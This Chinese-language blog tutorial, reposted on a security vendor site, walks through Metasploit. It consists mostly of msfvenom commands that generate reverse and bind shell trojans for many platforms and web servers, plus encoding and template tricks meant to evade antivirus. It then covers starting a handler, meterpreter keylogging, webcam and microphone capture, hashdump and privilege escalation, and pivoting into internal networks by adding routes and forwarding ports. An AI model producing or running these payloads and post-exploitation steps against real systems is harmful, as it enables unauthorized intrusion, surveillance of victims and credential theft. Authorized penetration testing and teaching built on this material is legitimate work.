长亭百川云 - 文章详情

【渗透神器系列】Metasploit

天黑说嘿话

46

2024-07-13

之前在个人博客写了一些渗透神器系列文章,公众号上重新分享一下

Mac下安装metasploit

      mac下安装metasploit比较简单,官网下载pkg安装包,直接安装即可;需要注意的是安装完成后的路径。
msfconsole路径:

1

/opt/metasploit-framework/bin

该目录下还有其他几个常用的工具:

msf的插件路径:

1

/opt/metasploit-framework/embedded/framework/modules/exploits

msfvenom

作用:生成木马文件,替代早期版本的msfpayload和msfencoder。

Options

msfvenom命令行选项如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

-p, --payload 指定需要使用的payload(攻击荷载)

-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-n, --nopsled 为payload预先指定一个NOP滑动长度

-f, --format 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)

-e, --encoder [encoder] 指定需要使用的encoder(编码器)

-a, --arch 指定payload的目标架构

--platform 指定payload的目标平台

-s, --space 设定有效攻击荷载的最大长度

-b, --bad-chars 设定规避字符集,比如: '\x00\xff'

-i, --iterations 指定payload的编码次数

-c, --add-code 指定一个附加的win32 shellcode文件

-x, --template 指定一个自定义的可执行文件作为模板

-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行

--payload-options 列举payload的标准选项

-o, --out 保存payload

-v, --var-name 指定一个自定义的变量,以确定输出格式

--shellest 最小化生成payload

-h, --help 查看帮助选项

--help-formats 查看msf支持的输出格式列表

options usage

查看支持的payload列表:

1

msfvenom -l payloads

查看支持的输出文件类型:

1

msfvenom --help-formats

查看支持的编码方式:(为了达到免杀的效果)

1

msfvenom -l encoders

查看支持的空字段模块:(为了达到免杀的效果)

1

msfvenom -l nops

基础payload

命令格式

1

msfvenom -p -f -o

Linux

1

2

3

4

反向连接:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

正向连接:

msfvenom -p linux/x86/meterpreter/bind_tcp LHOST= LPORT= -f elf > shell.elf

Windows

1

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

Mac

1

2

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

Web Payloads

PHP

1

2

msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

1

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

JSP

1

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

WAR

1

2

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.wa

Scripting Payloads

Python

1

msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

Bash

1

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

Perl

1

msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

Linux Based Shellcode

1

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f

Windows Based Shellcode

1

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f

Mac Based Shellcode

1

2

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f

Handlers

payload加编码

命令格式:

1

msfvenom -p -a --platform -e -i <encoder times> -b -n -f -o

常用编码:

1

2

x86/shikata_ga_nai

cmd/powershell_base64

例子:

1

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 -f exe > 1.exe

自选模块

生成执行计算器payload例子:

1

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe

payload的坑

正常情况下,利用msfvenom生成的木马文件,可直接上传到目标服务器上运行(加权限)。但我自己遇到过一个坑,生成的文件内容有部分是无用的,会引起报错,如下图所示。

解决方案是vim文件,删除文件开头两行无效的内容。

msfconsole

作用:用来在命令行下启动metasploit。

启动后可看到metasploit当前版本,以及各个模块的插件数量。

  • auxiliary扫描模块

  • exploits漏洞利用模块

  • payloads

  • encoders编码模块

  • nops空字符模块

search寻找模块

比如寻找ms15_034漏洞的利用插件

1

search ms15_034

配合木马弹Shell

前面我介绍了如何使用msfvenom生成木马文件,这里我介绍如何使用msf连接上被执行的木马文件,达到控制目标服务器。

常用payload

首先我们回顾一下生成木马文件的命令,其中有一个payload的选项,常用的几个payload。
linux相关payload:

1

2

3

4

5

6

linux/x86/meterpreter/reverse_tcp

linux/x86/meterpreter/bind_tcp

linux/x86/shell_bind_tcp

linux/x86/shell_reverse_tcp

linux/x64/shell_reverse_tcp

linux/x64/shell_bind_tcp

windows相关payload:

1

2

3

4

5

6

7

8

windows/meterpreter/reverse_tcp

windows/meterpreter/bind_tcp

windows/shell_reverse_tcp

windows/shell_bind_tcp

windows/x64/meterpreter/reverse_tcp

windows/x64/meterpreter/bind_tcp

windows/x64/shell_reverse_tcp

windows/x64/shell_bind_tcp

注意:含有x64只适用目标服务器为64位操作系统的,没有x64或者使用x86的只适用32位操作系统;含有meterpreter的模块会反弹meterpreter_shell,而普通的shell模块只会反弹普通的shell(反弹结果跟nc类似);reverse_tcp表示木马会主动连接目标服务器,bind_tcp表示木马会监听本地的端口,等待攻击者连接。因此生成的木马文件,要根据具体情况而定。

payload选择

前面介绍了常用的payload,那么payload选择的三大要素如下:

  • 木马连接的方向

  • 目标操作系统及版本

  • 反弹的shell类型

木马连接方向:
msf木马分为正向连接与反向连接,正向连接适合攻击机能给连接目标机的情况,反向连接使用目标机能连接攻击机的情况,这里所说的连接一般是指tcp的某个端口。因此在生成木马前,需要先判断当前环境,适合正向连接木马还是反向连接的木马。(可以使用nc工具测试,详细参考:【渗透神器系列】nc)

目标操作系统类型查看:这个不说了!
操作系统位数查看:

1

getconf LONG_BIT

反弹shell类型:
这个主要取决于反弹的shell的用途,一般执行系统命令的话普通操作系统的shell就够了。如果想要使用高级功能,比如:键盘记录,开启摄像头,添加路由等功能,可以使用meterpreter_shell。

连接木马

开启msf,启用exploit/multi/handler模块。

1

2

3

4

5

6

use exploit/multi/handler

set payload linux/x86/meterpreter/bind_tcp

show options

set RHOST 10.0.0.1

set LPORT 12345

exploit

注意:这里set的payload跟生成木马使用的payload要一致,其余的参数根据选择的payload而填写。

meterpreter shell

当我们拿到目标服务器的meterpreter_shell后,可以进行很多操作。

1

2

3

backgroud 将msf进程放到后台

session -i 1 将进程拖回前台运行

run vnc 远程桌面的开启

文件管理功能:

1

2

3

4

5

6

7

8

Download 下载文件

Edit 编辑

cat 查看

mkdir 创建

mv 移动

rm 删除

upload 上传

rmdir 删除文件夹

网络及系统操作:

1

2

3

4

5

6

7

8

9

10

11

Arp 看ARP缓冲表

Ifconfig IP地址网卡

Getproxy 获取代理

Netstat 查看端口链接

Kill 结束进程

Ps 查看进程

Reboot 重启电脑

Reg 修改注册表

Shell 获取shell

Shutdown 关闭电脑

sysinfo 获取电脑信息

用户操作和其他功能讲解:

1

2

3

4

5

6

7

8

9

10

11

enumdesktops 用户登录数

keyscan_dump   键盘记录-下载

keyscan_start  键盘记录 - 开始

keyscan_stop   键盘记录 - 停止

Uictl      获取键盘鼠标控制权

record_mic    音频录制

webcam_chat   查看摄像头接口

webcam_list   查看摄像头列表

webcam_stream  摄像头视频获取

Getsystem    获取高权限

Hashdump    下载HASH

meterpreter添加路由

大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。

查看shell网络环境:

1

meterpreter>run get_local_subnets

添加一条通向目标服务器内网的路由

1

meterpreter>run autoroute -s 100.0.0.0/8 (根据目标内网网络而定)

查看路由设置:

1

meterpreter>run autoroute –p

一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。

1

route print

如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。

1

msf>route add 10.0.0.0 255.0.0.0 1

说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。

meterpreter端口转发

假设目前我们扫描到了10网段的某个ip存在mysql弱口令,账号密码都有了,那么我们可以在肉鸡服务器上登陆目标服务器mysql。当然,如果我想在攻击机上去登陆mysql,可以使用端口转发。(某些情况下,内网的机器也不能互相ssh,需要登陆堡垒机)

在meterpreter shell中输入:

1

meterpreter > portfwd add -l 55555 -r 10.0.0.1 -p 3306

表示将10.0.0.1服务器上的3306端口转发到本地的55555端口,然后我们可以在本地运行mysql –h 127.0.0.1 –u root –P 55555 –p 去登陆mysql。其他端口如ssh、ftp等都类似,这个过程跟msf代理很像。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2